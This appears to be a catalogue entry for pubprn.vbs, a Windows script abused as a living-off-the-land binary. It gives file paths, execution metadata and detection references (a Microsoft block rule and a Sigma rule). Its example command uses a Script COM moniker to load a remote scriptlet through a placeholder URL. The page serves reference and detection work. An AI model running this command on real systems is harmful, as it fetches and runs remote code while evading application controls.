windows enabled community high v1.0.0

pubprn

Proxy execution with Pubprn.vbs Located at: C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs; C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs.

📋 Live Preview 
pubprn
pubprn

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory16 MB
Networklow
Disk I/Olow

Examples

Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection (Proxy execution)

pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}

Detection

TypeRule / Indicator
blockrule https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
sigma https://github.com/SigmaHQ/sigma/blob/ff5102832031425f6eed011dd3a2e62653008c94/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml

Documentation

pubprn

pubprn is a Windows LOLBin. Proxy execution with Pubprn.vbs Located at: C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs; C:\Windows\SysWOW64\Printing_Admin_Scripts\en-US\pubprn.vbs.

References